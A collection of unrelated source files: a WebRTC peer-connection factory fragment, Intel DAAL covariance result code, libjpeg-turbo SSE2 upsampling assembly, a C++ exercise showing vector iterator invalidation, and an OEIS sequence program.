PeerConnectionFactory::CreateSctpTransportInternalFactory() {
#ifdef HAVE_SCTP
return std::make_unique<cricket::SctpTransportFactory>(network_thread());
#else
return nullptr;
#endif
}
cricket::ChannelManager* PeerConnectionFactory::channel_manager() {
return channel_manager_.get();
}
std::unique_ptr<RtcEventLog> PeerConnectionFactory::CreateRtcEventLog_w() {
RTC_DCHECK_RUN_ON(worker_thread_);
auto encoding_type = RtcEventLog::EncodingType::Legacy;
if (field_trial::IsEnabled("WebRTC-RtcEventLogNewFormat"))
encoding_type = RtcEventLog::EncodingType::NewFormat;
return event_log_factory_
? event_log_factory_->CreateRtcEventLog(encoding_type)
: std::make_unique<RtcEventLogNull>();
}
std::unique_ptr<Call> PeerConnectionFactory::CreateCall_w(
RtcEventLog* event_log) {
RTC_DCHECK_RUN_ON(worker_thread_);
webrtc::Call::Config call_config(event_log);
if (!channel_manager_->media_engine() || !call_factory_) {
return nullptr;
}
call_config.audio_state =
channel_manager_->media_engine()->voice().GetAudioState();
FieldTrialParameter<DataRate> min_bandwidth("min", DataRate::kbps(30));
FieldTrialParameter<DataRate> start_bandwidth("start", DataRate::kbps(300));
FieldTrialParameter<DataRate> max_bandwidth("max", DataRate::kbps(2000));
ParseFieldTrial({&min_bandwidth, &start_bandwidth, &max_bandwidth},
field_trial::FindFullName("WebRTC-PcFactoryDefaultBitrates"));
call_config.bitrate_config.min_bitrate_bps =
rtc::saturated_cast<int>(min_bandwidth->bps());
call_config.bitrate_config.start_bitrate_bps =
rtc::saturated_cast<int>(start_bandwidth->bps());
call_config.bitrate_config.max_bitrate_bps =
rtc::saturated_cast<int>(max_bandwidth->bps());
call_config.fec_controller_factory = fec_controller_factory_.get();
call_config.task_queue_factory = task_queue_factory_.get();
call_config.network_state_predictor_factory =
network_state_predictor_factory_.get();
if (field_trial::IsEnabled("WebRTC-Bwe-InjectedCongestionController")) {
RTC_LOG(LS_INFO) << "Using injected network controller factory";
call_config.network_controller_factory =
injected_network_controller_factory_.get();
} else {
RTC_LOG(LS_INFO) << "Using default network controller factory";
}
return std::unique_ptr<Call>(call_factory_->CreateCall(call_config));
}
} // namespace webrtc
|
/* file: covariance_result.cpp */
/*******************************************************************************
* Copyright 2014-2019 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
/*
//++
// Implementation of covariance algorithm and types methods.
//--
*/
#include "covariance_types.h"
#include "serialization_utils.h"
#include "daal_strings.h"
using namespace daal::data_management;
using namespace daal::services;
namespace daal
{
namespace algorithms
{
namespace covariance
{
namespace interface1
{
__DAAL_REGISTER_SERIALIZATION_CLASS(Result, SERIALIZATION_COVARIANCE_RESULT_ID);
Result::Result() : daal::algorithms::Result(lastResultId + 1) {}
/**
* Returns the final result of the correlation or variance-covariance matrix algorithm
* \param[in] id Identifier of the result, \ref ResultId
* \return Final result that corresponds to the given identifier
*/
NumericTablePtr Result::get(ResultId id) const
{
return staticPointerCast<NumericTable, SerializationIface>(Argument::get(id));
}
/**
* Sets the result of the correlation or variance-covariance matrix algorithm
* \param[in] id Identifier of the result
* \param[in] value Pointer to the object
*/
void Result::set(ResultId id, const NumericTablePtr & value)
{
Argument::set(id, value);
}
/**
* Check correctness of the result
* \param[in] partialResult Pointer to the partial result arguments structure
* \param[in] parameter Pointer to the structure of the parameters of the algorithm
* \param[in] method Computation method
*/
services::Status Result::check(const daal::algorithms::PartialResult * partialResult, const daal::algorithms::Parameter * parameter, int method) const
{
const PartialResult * pres = static_cast<const PartialResult *>(partialResult);
const Parameter * algParameter = static_cast<const Parameter *>(parameter);
size_t nFeatures = pres->getNumberOfFeatures();
return checkImpl(nFeatures, algParameter->outputMatrixType);
}
/**
* Check correctness of the result
* \param[in] input Pointer to the structure with input objects
* \param[in] parameter Pointer to the structure of algorithm parameters
* \param[in] method Computation method
*/
services::Status Result::check(const daal::algorithms::Input * input, const daal::algorithms::Parameter * parameter, int method) const
{
const Parameter * algParameter = static_cast<const Parameter *>(parameter);
size_t nFeatures = (static_cast<const InputIface *>(input))->getNumberOfFeatures();
return checkImpl(nFeatures, algParameter->outputMatrixType);
}
services::Status Result::checkImpl(size_t nFeatures, OutputMatrixType outputMatrixType) const
{
int unexpectedLayouts =
(int)NumericTableIface::csrArray | (int)NumericTableIface::upperPackedTriangularMatrix | (int)NumericTableIface::lowerPackedTriangularMatrix;
services::Status s;
if (outputMatrixType == covarianceMatrix)
{
/* Check covariance matrix */
s |= checkNumericTable(get(covariance).get(), covarianceStr(), unexpectedLayouts, 0, nFeatures, nFeatures);
if (!s) return s;
}
else if (outputMatrixType == correlationMatrix)
{
/* Check correlation matrix */
s |= checkNumericTable(get(correlation).get(), correlationStr(), unexpectedLayouts, 0, nFeatures, nFeatures);
if (!s) return s;
}
unexpectedLayouts |= (int)NumericTableIface::upperPackedSymmetricMatrix | (int)NumericTableIface::lowerPackedSymmetricMatrix;
/* Check mean vector */
s |= checkNumericTable(get(mean).get(), meanStr(), unexpectedLayouts, 0, nFeatures, 1);
return s;
}
} //namespace interface1
} //namespace covariance
} // namespace algorithms
} // namespace daal
|
;
; jdmerss2-64.asm - merged upsampling/color conversion (64-bit SSE2)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright 2009 D. R. Commander
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jsimdext.inc"
; --------------------------------------------------------------------------
%define SCALEBITS 16
F_0_344 equ 22554 ; FIX(0.34414)
F_0_714 equ 46802 ; FIX(0.71414)
F_1_402 equ 91881 ; FIX(1.40200)
F_1_772 equ 116130 ; FIX(1.77200)
F_0_402 equ (F_1_402 - 65536) ; FIX(1.40200) - FIX(1)
F_0_285 equ ( 65536 - F_0_714) ; FIX(1) - FIX(0.71414)
F_0_228 equ (131072 - F_1_772) ; FIX(2) - FIX(1.77200)
; --------------------------------------------------------------------------
SECTION SEG_CONST
alignz 16
global EXTN(jconst_merged_upsample_sse2)
EXTN(jconst_merged_upsample_sse2):
PW_F0402 times 8 dw F_0_402
PW_MF0228 times 8 dw -F_0_228
PW_MF0344_F0285 times 4 dw -F_0_344, F_0_285
PW_ONE times 8 dw 1
PD_ONEHALF times 4 dd 1 << (SCALEBITS-1)
alignz 16
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 64
%include "jdmrgss2-64.asm"
%undef RGB_RED
%undef RGB_GREEN
%undef RGB_BLUE
%undef RGB_PIXELSIZE
%define RGB_RED EXT_RGB_RED
%define RGB_GREEN EXT_RGB_GREEN
%define RGB_BLUE EXT_RGB_BLUE
%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE
%define jsimd_h2v1_merged_upsample_sse2 jsimd_h2v1_extrgb_merged_upsample_sse2
%define jsimd_h2v2_merged_upsample_sse2 jsimd_h2v2_extrgb_merged_upsample_sse2
%include "jdmrgss2-64.asm"
%undef RGB_RED
%undef RGB_GREEN
%undef RGB_BLUE
%undef RGB_PIXELSIZE
%define RGB_RED EXT_RGBX_RED
%define RGB_GREEN EXT_RGBX_GREEN
%define RGB_BLUE EXT_RGBX_BLUE
%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE
%define jsimd_h2v1_merged_upsample_sse2 jsimd_h2v1_extrgbx_merged_upsample_sse2
%define jsimd_h2v2_merged_upsample_sse2 jsimd_h2v2_extrgbx_merged_upsample_sse2
%include "jdmrgss2-64.asm"
%undef RGB_RED
%undef RGB_GREEN
%undef RGB_BLUE
%undef RGB_PIXELSIZE
%define RGB_RED EXT_BGR_RED
%define RGB_GREEN EXT_BGR_GREEN
%define RGB_BLUE EXT_BGR_BLUE
%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE
%define jsimd_h2v1_merged_upsample_sse2 jsimd_h2v1_extbgr_merged_upsample_sse2
%define jsimd_h2v2_merged_upsample_sse2 jsimd_h2v2_extbgr_merged_upsample_sse2
%include "jdmrgss2-64.asm"
%undef RGB_RED
%undef RGB_GREEN
%undef RGB_BLUE
%undef RGB_PIXELSIZE
%define RGB_RED EXT_BGRX_RED
%define RGB_GREEN EXT_BGRX_GREEN
%define RGB_BLUE EXT_BGRX_BLUE
%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE
%define jsimd_h2v1_merged_upsample_sse2 jsimd_h2v1_extbgrx_merged_upsample_sse2
%define jsimd_h2v2_merged_upsample_sse2 jsimd_h2v2_extbgrx_merged_upsample_sse2
%include "jdmrgss2-64.asm"
%undef RGB_RED
%undef RGB_GREEN
%undef RGB_BLUE
%undef RGB_PIXELSIZE
%define RGB_RED EXT_XBGR_RED
%define RGB_GREEN EXT_XBGR_GREEN
%define RGB_BLUE EXT_XBGR_BLUE
%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE
%define jsimd_h2v1_merged_upsample_sse2 jsimd_h2v1_extxbgr_merged_upsample_sse2
%define jsimd_h2v2_merged_upsample_sse2 jsimd_h2v2_extxbgr_merged_upsample_sse2
%include "jdmrgss2-64.asm"
%undef RGB_RED
%undef RGB_GREEN
%undef RGB_BLUE
%undef RGB_PIXELSIZE
%define RGB_RED EXT_XRGB_RED
%define RGB_GREEN EXT_XRGB_GREEN
%define RGB_BLUE EXT_XRGB_BLUE
%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE
%define jsimd_h2v1_merged_upsample_sse2 jsimd_h2v1_extxrgb_merged_upsample_sse2
%define jsimd_h2v2_merged_upsample_sse2 jsimd_h2v2_extxrgb_merged_upsample_sse2
%include "jdmrgss2-64.asm"
|
#include<vector>
#include<iostream>
using namespace std;
/*
* CONCLUSION: c++ 里面，在迭代器循环扫描vector中元素的时候，
* 不能增加、删除vector中的元素
* problem: 给定一个数字n，有1，2，3...n的一个排列
* a. 输出第一个数字，并将他后面的数字放到排列末尾，
* b. 之后删掉第一数字
* c. 重复a，b步骤，直到每个元素都输出一遍
* idea: 我的想法是用一个迭代器指向排列头部，然后从头到尾扫描排列，
* 该加的时候就加，该输出的时候就输出
* 但是：事实表明c++的迭代器不能这么用，这么用的时候，
* 扫到最初的排列（没有增加额外元素，只有1，2，...，n按顺序排列）的末尾，
* 迭代器就乱了，并不能找到新添加元素的开头，这是c++迭代器使用的i<<<一个坑吧>>>
* */
int main(){
int n;
cin >> n;
int count = 0;
vector<int> nums;
for(int i=0; i<n; i++){
nums.push_back(i+1);
}
vector<int>::iterator it = nums.begin(), jt;
while(count < n){
if(it!=nums.end())
cout << "it: " << *it << " " <<endl;
count += 1;
cout << "jt: ";
for(jt = nums.begin(); jt!=nums.end(); jt++)
cout << *jt << " ";
cout << endl;
if(it!=nums.end())
it++;
else{
cout << "它奶奶的 it 为空" << endl;
break;
}
if(it!=nums.end())
nums.push_back(*it);
if(it!=nums.end())
it++;
}
}
|
; A253298: Digital root for the following sequences, F(4*n)/F(4); F(12*n)/F(12); F(20*n)/F(20), where the pattern increases by 8, ad infinitum, with the Fibonacci numbers F = A000045.
; 1,7,3,5,5,3,7,1,9,8,2,6,4,4,6,2,8,9,1,7,3,5,5,3,7,1,9,8,2,6,4,4,6,2,8,9,1,7,3,5,5,3,7,1,9,8,2,6,4,4,6,2,8,9,1,7,3,5,5,3,7,1,9,8,2,6,4,4,6,2,8,9
mov $1,196514
mov $2,-2
bin $2,$0
add $1,$2
lpb $1
mod $1,9
lpe
add $1,1
mov $0,$1
|
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